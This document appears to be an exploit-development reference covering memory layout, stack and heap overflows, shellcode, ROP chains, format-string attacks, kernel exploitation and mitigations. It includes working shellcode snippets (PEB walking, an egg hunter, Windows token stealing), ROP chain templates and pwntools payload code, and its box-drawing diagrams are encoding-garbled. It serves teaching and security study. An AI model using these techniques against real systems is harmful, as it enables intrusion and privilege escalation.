Memory Layout & Concepts

Understanding process memory β€” the foundation of every exploit

Process Virtual Address Space (x64)

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” 0xFFFF FFFF FFFF FFFF β”‚ Kernel Space β”‚ (Not accessible from user mode) β”‚ Page tables, drivers, HAL β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ 0xFFFF 8000 0000 0000 (canonical boundary) β”‚ β”‚ β”‚ β”Œβ”€β”€β”€ Canonical Hole ───┐ β”‚ Non-canonical addresses β”‚ β”‚ (not mapped) β”‚ β”‚ Accessing β†’ #GP fault β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ 0x0000 7FFF FFFF FFFF β”‚ Stack ↓ β”‚ Grows downward (high β†’ low) β”‚ Thread stacks, locals, β”‚ Per-thread, default 1MB (Windows) β”‚ return addresses, frames β”‚ Guard page at bottom β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ ↕ (gap) β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Memory-Mapped Files β”‚ mmap regions, shared libraries β”‚ Shared libraries (.dll) β”‚ File-backed & anonymous mappings β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Heap ↑ β”‚ Grows upward (low β†’ high) β”‚ malloc/HeapAlloc chunks β”‚ Multiple heaps possible (Windows) β”‚ Dynamic allocations β”‚ Front-end + back-end allocators β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ .bss β”‚ Uninitialized globals (zeroed) β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ .data β”‚ Initialized global/static vars β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ .rdata / .rodata β”‚ Read-only data, strings, vtables β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ .text β”‚ Executable code (RX) β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ 0x0000 0000 0040 0000 (typical image base) β”‚ PE/ELF Headers β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ NULL page (guard) β”‚ First 64KB reserved (Windows) β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ 0x0000 0000 0000 0000

Key Memory Corruption Primitives

Write Primitives
PrimitivePowerSource
Arbitrary WriteGod-modeWrite-what-where, format string
Relative WriteVery HighOOB write, heap overflow
Increment/DecrementHighOff-by-one, ref count
Null WriteMediumNull-byte overflow
Read Primitives
PrimitivePowerSource
Arbitrary ReadInfo leakFormat string, OOB read
Relative ReadHighBuffer over-read
Pointer LeakEssentialUninitialized memory, UAF
Partial OverwriteMediumByte-level precision

Exploit Development Pipeline

Bug Discovery β†’ Root Cause Analysis β†’ Primitive Identification β†’ Info Leak β†’ Control Flow Hijack β†’ Code Exec β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ β–Ό β–Ό β–Ό β–Ό β–Ό β–Ό Fuzzing Crash analysis What can we Defeat ASLR Overwrite ret/ ROP β†’ shellcode Code audit Reversing read/write? Stack leak vtable/func ptr JOP/COP Diff analysis Debug repro Heap? Stack? Heap leak Corrupt object JIT spray Variant find Constraint map How many bytes? Side channel Hijack dispatch Sandbox escape

Alignment & Data Sizes

Typex86 (32-bit)x64 (64-bit)Notes
char1 byte1 byte-
short2 bytes2 bytes-
int4 bytes4 bytesSame on both
long4 bytes4/8 bytes4 on Windows x64, 8 on Linux x64
pointer4 bytes8 bytesCritical for buffer calculations
size_t4 bytes8 bytesFollows pointer size
Stack alignment4-byte16-bytex64 requires 16-byte alignment before CALL

Stack Buffer Overflows

Classic exploitation β€” overwriting return addresses and local variables

Stack Frame Anatomy (x64)

High Addresses β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Caller's stack frame β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Return Address (8 bytes) β”‚ ← Target for classic overflow β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Saved RBP (8 bytes) β”‚ ← If frame pointer used β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ← RBP points here (frame base) β”‚ Local variable N β”‚ β”‚ ... β”‚ β”‚ Local variable 2 β”‚ β”‚ char buffer[64] β”‚ ← Overflow starts here β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ← RSP points here β”‚ Shadow space (32 bytes) β”‚ ← Windows x64 calling convention β”‚ Spilled arguments β”‚ Low Addresses Overflow direction: buffer grows LOW β†’ HIGH, overwriting: 1. Adjacent local variables 2. Saved frame pointer (RBP) 3. Return address ← Code execution! 4. Caller's frame ← Chain multiple frames

Classic Stack Overflow (No Protections)

Vulnerable Code Pattern
void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    // Other unsafe: gets(), sprintf(), scanf("%s"), memcpy with user-controlled size
}

// Exploitation:
// [64 bytes padding][8 bytes saved RBP][8 bytes RET addr β†’ shellcode/ROP]
// Total payload: 64 + 8 + 8 = 80 bytes minimum

Finding the Offset

Pattern-Based Offset Discovery
# Generate cyclic pattern (pwntools)
from pwn import *
pattern = cyclic(200)    # De Bruijn sequence
# Send to target, get crash address
offset = cyclic_find(0x61616168)  # Find offset from crash value

# Or with msf-pattern:
# msf-pattern_create -l 200
# msf-pattern_offset -q 0x61616168

# Manual approach: binary search with A's
# 100 A's β†’ crash?  β†’ 50 A's β†’ crash? β†’ narrow down

SEH Overflow (Windows x86)

Structured Exception Handler Overwrite
// SEH chain on stack (x86 only, disabled by SafeSEH/SEHOP on modern)
// Stack layout with SEH:
//   [buffer] β†’ [other locals] β†’ [SEH record] β†’ [saved EBP] β†’ [RET]
//
// SEH record structure:
//   +0x00: Next SEH record pointer (nSEH)
//   +0x04: Exception handler function pointer
//
// Classic technique:
// 1. Overflow into SEH record
// 2. Overwrite handler with POP/POP/RET gadget
// 3. Overwrite nSEH with JMP to shellcode
// 4. Trigger exception (access violation from overflow itself)
// 5. POP/POP/RET lands on nSEH β†’ JMP β†’ shellcode

Payload: [junk to SEH][JMP +6 (nSEH)][POP/POP/RET (handler)][shellcode]

Common Overflow Targets Beyond Return Address

TargetTechniqueWhen Useful
Function pointer (local)Overwrite callback ptr in struct on stackStack canary present but ptr before canary check
vtable pointerOverwrite C++ object's vptrObject on stack, virtual call before return
Saved frame pointerOff-by-one β†’ 1-byte RBP overwriteShift frame to controlled data on leave;ret
longjmp bufferOverwrite setjmp/longjmp bufferBuffer stored on stack or heap
Local auth flagOverwrite boolean/int controlling authLogic bugs, bypass checks without code exec

Shellcode Development

Position-independent code for post-exploitation

Shellcode Constraints

ConstraintProblemSolution
Null bytes (0x00)strcpy/string functions stopXOR encoding, alternative instructions
Bad charactersProtocol-specific filtersCustom encoder, alpha-numeric shellcode
Size limitsSmall buffer availableEgg hunter, staged shellcode
Position independenceUnknown load addressRelative addressing, PEB walking
DEP/NXNon-executable stack/heapROP to VirtualProtect/mprotect first

Windows x64 Shellcode β€” API Resolution via PEB

; Walk PEB β†’ LDR β†’ InMemoryOrderModuleList to find kernel32.dll
; Then parse export table to find function addresses

xor rcx, rcx
mov rax, gs:[rcx+0x60]     ; PEB (TEB+0x60 on x64)
mov rax, [rax+0x18]        ; PEB→Ldr
mov rsi, [rax+0x20]        ; Ldr→InMemoryOrderModuleList
lodsq                        ; Skip first entry (exe itself)
xchg rax, rsi
lodsq                        ; Second entry β†’ ntdll.dll
mov rbx, [rax+0x20]        ; DllBase of ntdll
xchg rax, rsi
lodsq                        ; Third entry β†’ kernel32.dll
mov rbx, [rax+0x20]        ; DllBase of kernel32

; Parse PE export table from rbx (kernel32 base)
mov edx, [rbx+0x3C]        ; e_lfanew
add rdx, rbx               ; PE header
mov edx, [rdx+0x88]        ; Export directory RVA (PE64: 0x88)
add rdx, rbx               ; Export directory VA
; edx+0x1C β†’ AddressOfFunctions
; edx+0x20 β†’ AddressOfNames
; edx+0x24 β†’ AddressOfNameOrdinals

Egg Hunter

Small First-Stage (32 bytes) Finds Larger Payload
; Windows SEH-based egg hunter (~32 bytes)
; Searches process memory for "egg" marker (repeated twice)
; EGG = 0x50905090 ("w00tw00t" or custom)

xor edx, edx
next_page:
or  dx, 0xfff              ; Align to page boundary
next_addr:
inc edx
push edx
push 0x2                   ; NtAccessCheckAndAuditAlarm syscall
pop  eax
int  0x2e                   ; Syscall (checks if address is readable)
cmp  al, 0x05              ; Access violation?
pop  edx
je   next_page             ; Skip invalid page
mov  eax, 0x50905090       ; Egg marker
mov  edi, edx
scasd                       ; Compare [edi] with eax
jnz  next_addr
scasd                       ; Second copy confirms
jnz  next_addr
jmp  edi                   ; Jump to shellcode after eggs

Null-Free Instruction Alternatives

Contains NullNull-Free AlternativeNotes
mov eax, 0xor eax, eaxClassic zero-register trick
mov rax, 0x00400000push 0x40; pop rax; shl rax, 16Build value without nulls
mov byte [rax], 0xor ecx,ecx; mov [rax], clWrite zero via register
jmp 0x0 (short)Calculate relative JMPAvoid null in displacement
String "cmd\0"XOR-encode, decode at runtimeEncoder stub prepended

ROP & Code Reuse Attacks

Return-Oriented Programming β€” chaining existing code gadgets

ROP Fundamentals

Stack (attacker-controlled) Execution Flow β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ addr of Gadget 1 │──────→ pop rdi; ret ← Set RDI = arg1 β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ value for RDI β”‚ β”‚ (popped into RDI) β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β–Ό β”‚ addr of Gadget 2 │──────→ pop rsi; ret ← Set RSI = arg2 β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ value for RSI β”‚ β”‚ (popped into RSI) β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β–Ό β”‚ addr of Gadget 3 │──────→ pop rdx; ret ← Set RDX = arg3 β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ value for RDX β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β–Ό β”‚ addr of target func │──────→ VirtualProtect() ← Call with controlled args β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ return after call β”‚ β–Ό β”‚ ... β”‚ Shellcode now RWX β†’ jump to it β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Key insight: Each "ret" instruction pops next address from stack, chaining execution through arbitrary sequences of existing code.

Essential Gadget Types

GadgetPurposeExample
pop REG; retLoad controlled value into registerpop rdi; ret β†’ set first arg
mov [REG], REG; retArbitrary write primitivemov [rdi], rsi; ret
xchg REG, REG; retMove values between registersxchg rax, rdi; ret
add REG, REG; retArithmetic on registersAdjust pointers, compute addresses
push REG; pop REG; retMove value between registerspush rax; pop rcx; ret
leave; retStack pivotmov rsp, rbp; pop rbp; ret
jmp [REG]Indirect call (end of chain)Dispatch through pointer
syscall; retDirect system callBypass user-mode hooks

ROP Chain: VirtualProtect (Windows x64)

# Goal: Make shellcode region executable via VirtualProtect
# BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect)
#   RCX = lpAddress (shellcode location)
#   RDX = dwSize (0x1000)
#   R8  = flNewProtect (0x40 = PAGE_EXECUTE_READWRITE)
#   R9  = lpOldProtect (writable address)

rop_chain = [
    pop_rcx_ret,           # Gadget: pop rcx; ret
    shellcode_addr,        # RCX = address of shellcode
    pop_rdx_ret,           # Gadget: pop rdx; ret
    0x1000,                # RDX = size (4096 bytes)
    pop_r8_ret,            # Gadget: pop r8; ret
    0x40,                  # R8 = PAGE_EXECUTE_READWRITE
    pop_r9_ret,            # Gadget: pop r9; ret
    writable_addr,         # R9 = writable location for old protect
    virtualprotect_addr,   # Call VirtualProtect
    shellcode_addr,        # Return into shellcode (now executable)
]

ROP Chain: mprotect (Linux x64)

# mprotect(addr, len, prot) β†’ syscall 10
# RDI = addr (page-aligned), RSI = len, RDX = prot (7 = RWX)
# RAX = 10 (mprotect syscall number)

rop_chain = [
    pop_rdi_ret,          # Gadget
    page_aligned_addr,    # RDI = target page
    pop_rsi_ret,          # Gadget
    0x1000,               # RSI = 4096 bytes
    pop_rdx_ret,          # Gadget
    7,                    # RDX = PROT_READ|PROT_WRITE|PROT_EXEC
    pop_rax_ret,          # Gadget
    10,                   # RAX = __NR_mprotect
    syscall_ret,          # Execute syscall; ret
    shellcode_addr,       # Jump to now-executable shellcode
]

Stack Pivot Techniques

When You Can't Put Full ROP Chain on Stack
// Problem: Limited overflow, can only control RET + few bytes
// Solution: Pivot RSP to attacker-controlled buffer (heap, .data, etc.)

// Technique 1: XCHG reg, RSP; RET
// If you control a register pointing to your ROP chain:
// xchg rax, rsp; ret  β†’  RSP = old RAX (your buffer)

// Technique 2: LEAVE; RET
// leave = mov rsp, rbp; pop rbp
// If you control RBP β†’ point it to your fake stack
// First leave: RSP = controlled RBP
// ret: pops address from your fake stack

// Technique 3: ADD RSP, offset; RET
// Jump over stack canary or fixed data to reach controlled region

// Technique 4: MOV RSP, [reg+offset]; RET
// Load RSP from a controlled memory location

Gadget Finding Tools

ToolCommandNotes
ROPgadgetROPgadget --binary target --ropchainAuto chain generation
ropperropper -f target --search "pop rdi"Search specific gadgets
rp++rp-win -f target.exe -r 5Fast, depth control
pwntoolsROP(elf).find_gadget(['pop rdi', 'ret'])Python integration
xropMultiarch gadget searchARM, MIPS support

Heap Exploitation

Dynamic memory corruption β€” UAF, overflow, and allocator abuse

Windows Heap Architecture (NT Heap)

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ Process Heap β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Front-End Allocator (LFH - Low Fragmentation Heap) β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Bucket[0]: 1-8 bytes β†’ UserBlocks segments β”‚ β”‚ β”‚ β”‚ Bucket[1]: 9-16 bytes β†’ UserBlocks segments β”‚ β”‚ β”‚ β”‚ Bucket[2]: 17-24 bytes β†’ ... β”‚ β”‚ β”‚ β”‚ ... β”‚ β”‚ β”‚ β”‚ Bucket[127]: 1009-1024 β†’ UserBlocks segments β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ LFH: Randomized allocation order within UserBlocks β”‚ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ Back-End Allocator (ListHints / FreeLists) β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ ListHints[0] β†’ FreeLists for various sizes β”‚ β”‚ β”‚ β”‚ Segments β†’ Committed/uncommitted ranges β”‚ β”‚ β”‚ β”‚ VirtualAlloc'd blocks for very large allocations β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Modern Windows (Segment Heap - Win10+): - Variable Size (VS): Small allocations, randomized - Low Fragmentation (LFH): Integrated, bitmap-based - Large Blocks: Direct VirtualAlloc - Backend: Segment-based management

glibc Heap (Linux ptmalloc2)

Chunk Structure (in-use): Chunk Structure (free): β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ prev_size (if prev β”‚ β”‚ prev_size β”‚ β”‚ chunk is free) β”‚ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ size | A | M | P β”‚ β”‚ size | A | M | P β”‚ β”‚ (A=arena, M=mmap, β”‚ β”‚ P=0 (prev is free) β”‚ β”‚ P=prev_inuse) β”‚ β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ User Data β”‚ β”‚ fd (forward ptr) β”‚ β†’ next free β”‚ ... β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”‚ bk (backward ptr) β”‚ β†’ prev free β”‚ β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”‚ (fd_nextsize, bk_ β”‚ β†’ large bins only β”‚ β”‚ β”‚ nextsize) β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Free Lists (Bins): tcache[idx] β†’ Per-thread cache (LIFO, 7 entries each, 64 bins) fastbins[idx] β†’ Singly-linked LIFO (sizes 0x20-0x80 on x64) unsorted bin β†’ Doubly-linked, recently freed, any size small bins[idx] β†’ Doubly-linked FIFO (sizes < 0x400 on x64) large bins[idx] β†’ Doubly-linked, sorted by size (sizes β‰₯ 0x400)

Key Heap Exploitation Techniques

Use-After-Free (UAF) Critical
// Classic UAF pattern:
Object *obj = new Object();  // Allocate
delete obj;                     // Free (but pointer not nulled!)
// ... other allocations may reuse the memory ...
char *evil = malloc(sizeof(Object));  // Reuse freed memory!
memcpy(evil, payload, sizeof(Object)); // Control object contents
obj->virtualMethod();            // Dangling pointer β†’ calls attacker vtable!

// Exploitation strategy:
// 1. Free target object
// 2. Allocate same-size buffer with controlled content
// 3. Trigger use of dangling pointer
// 4. Fake vtable β†’ code execution
Tcache Poisoning (glibc 2.26+) High
# Tcache is a per-thread singly-linked free list (LIFO)
# If you can write to freed chunk's fd pointer:

# Normal tcache state after two frees:
# tcache[idx] β†’ chunk_B β†’ chunk_A β†’ NULL

# After overwriting chunk_B's fd (via UAF or overflow):
# tcache[idx] β†’ chunk_B β†’ TARGET_ADDR β†’ ???

# malloc() β†’ returns chunk_B
# malloc() β†’ returns TARGET_ADDR  ← Arbitrary allocation!

# glibc 2.32+ added safe-linking:
# fd is mangled: fd = (addr >> 12) ^ next_ptr
# Need heap leak to demangle/remangle pointers
# Bypass: leak heap base, compute: mangled = (chunk_addr >> 12) ^ target
House of Force (Legacy) Medium
# Overwrite top chunk size to very large value
# Then malloc() with calculated negative offset
# Forces allocator to return arbitrary address

# 1. Overflow into top chunk header, set size = 0xFFFFFFFFFFFFFFFF
# 2. Calculate: distance = target_addr - top_chunk_addr - header_size
# 3. malloc(distance)  ← advances top chunk to near target
# 4. malloc(normal)    ← returns address at/near target

# Largely mitigated in modern glibc (top chunk size checks)

Heap Technique Summary

TechniqueAllocatorPrimitive NeededResult
Tcache poisonglibc (tcache)Write to free chunk fdArbitrary alloc
Fastbin dupglibc (fastbin)Double freeArbitrary alloc
Unsorted bin attackglibc (unsorted)Write to free chunk bkArbitrary large write
House of OrangeglibcHeap overflow top chunk_IO_FILE exploit
House of EinherjarglibcNull byte overflowOverlapping chunks
House of Loreglibc (smallbin)Write to free chunk bkArbitrary alloc
LFH overflowWindows NT/SegAdjacent chunk writeCorrupt neighbor
Pool overflowWindows kernelAdjacent pool objectKernel code exec

Format String Attacks

When user input becomes the format specifier

Core Vulnerability

// Vulnerable:
printf(user_input);         // User controls format string!

// Safe:
printf("%s", user_input);   // User input is data, not format

// Also vulnerable: fprintf, sprintf, snprintf, syslog, etc.

Format String Specifiers for Exploitation

SpecifierActionExploit Use
%x / %pPrint stack value as hex/pointerLeak stack contents, defeat ASLR
%sPrint string at pointer on stackRead arbitrary memory
%nWrite number of bytes printed so far to address on stackArbitrary write!
%hnWrite 2 bytes (short)Precise 2-byte write
%hhnWrite 1 bytePrecise 1-byte write
%N$xDirect parameter access (Nth argument)Skip to specific stack offset
%N$nWrite to Nth argument's pointed addressDirect write without padding

Format String Write Technique

Overwriting GOT Entry (32-bit example)
# Goal: Overwrite puts@GOT with system() address
# puts@GOT = 0x0804c010
# system() = 0xf7e12345

# Strategy: Use %hn to write 2 bytes at a time
# Write 0x2345 to 0x0804c010 (low 2 bytes)
# Write 0xf7e1 to 0x0804c012 (high 2 bytes)

# Payload layout (on stack):
# [addr_low][addr_high][%Xc%N$hn%Yc%M$hn]
# addr_low  = p32(0x0804c010)
# addr_high = p32(0x0804c012)
# Calculate padding to get exact byte counts for %n

# pwntools makes this easy:
from pwn import *
elf = ELF('./target')
payload = fmtstr_payload(offset, {elf.got['puts']: system_addr})

Kernel Exploitation

Ring-0 exploitation on Windows and Linux

Windows Kernel Exploit Primitives

Common Windows Kernel Bug Classes
Bug ClassLocationTypical Primitive
Pool overflowPaged/NonPaged poolCorrupt adjacent pool object
Pool UAFObject reference countingType confusion, fake object
Integer overflowSize calculationsUndersized allocation
Race condition (TOCTOU)Syscall validationBypass security checks
Arbitrary decrementReference countingUAF via premature free
Stack overflowKernel stack (limited)Overwrite return address
GDI object abuseGDI bitmap/paletteArbitrary R/W kernel memory

Token Stealing Shellcode (Windows)

; Classic token stealing: copy SYSTEM token to current process
; Offsets vary by Windows version!

; 1. Get current EPROCESS
mov rax, gs:[0x188]     ; KTHREAD (from KPCR)
mov rax, [rax+0x220]    ; EPROCESS (ApcState.Process)
mov rcx, rax             ; Save current EPROCESS

; 2. Walk ActiveProcessLinks to find SYSTEM (PID 4)
find_system:
mov rax, [rax+0x448]    ; ActiveProcessLinks.Flink
sub rax, 0x448           ; Back to EPROCESS start
cmp dword [rax+0x440], 4  ; UniqueProcessId == 4?
jne find_system

; 3. Copy SYSTEM token to current process
mov rdx, [rax+0x4B8]    ; SYSTEM Token
mov [rcx+0x4B8], rdx    ; Overwrite current process Token

; 4. Return cleanly (restore state, return to user mode)
; Critical: must not BSOD! Clean stack, restore registers

Linux Kernel Exploitation

Common Techniques
TechniqueDescriptionModern Status
commit_creds(prepare_kernel_cred(0))Elevate to root via kernel functionsClassic, still works if reached
modprobe_path overwriteWrite to modprobe_path, trigger unknown binaryWorks on older kernels, being hardened
msg_msg sprayUse msgsnd() for heap spray/shapingWidely used for cross-cache attacks
pipe_buffer exploitAbuse pipe subsystem for arb R/WDirtyPipe (CVE-2022-0847)
io_uring exploitationComplex subsystem, rich attack surfaceActive research area
userfaultfdControl page fault handling for race winsRestricted in newer kernels
FUSEFilesystem in userspace for raceAlternative to userfaultfd

Modern Mitigations

Defense mechanisms in modern operating systems and compilers

Mitigation Map

MitigationWhat It ProtectsIntroducedBypasses
DEP / NX / W^XStack/heap code executionXP SP2 / Always (Linux)ROP, JOP, JIT spray
ASLRCode/data addressesVista / Linux 2.6.12Info leak, partial overwrite, brute force (32-bit)
Stack Canaries (/GS)Stack buffer overflowsVS 2003 / GCCInfo leak, SEH overwrite, non-return targets
SafeSEH / SEHOPSEH overwrites (x86)VS 2003 / VistaModule without SafeSEH, SEHOP bypass
CFG (Control Flow Guard)Indirect call targetsWin 8.1 Update 3Valid call targets, CFG bitmap corruption
CET (Shadow Stack)Return address integrityWin 11 / Intel 11th GenForward-edge attacks, JOP
ACG (Arbitrary Code Guard)Dynamic code generationWin 10 RS2 (Edge)Data-only attacks, existing JIT code
kCFIKernel indirect callsLinux 6.1 (Clang)Type-compatible targets
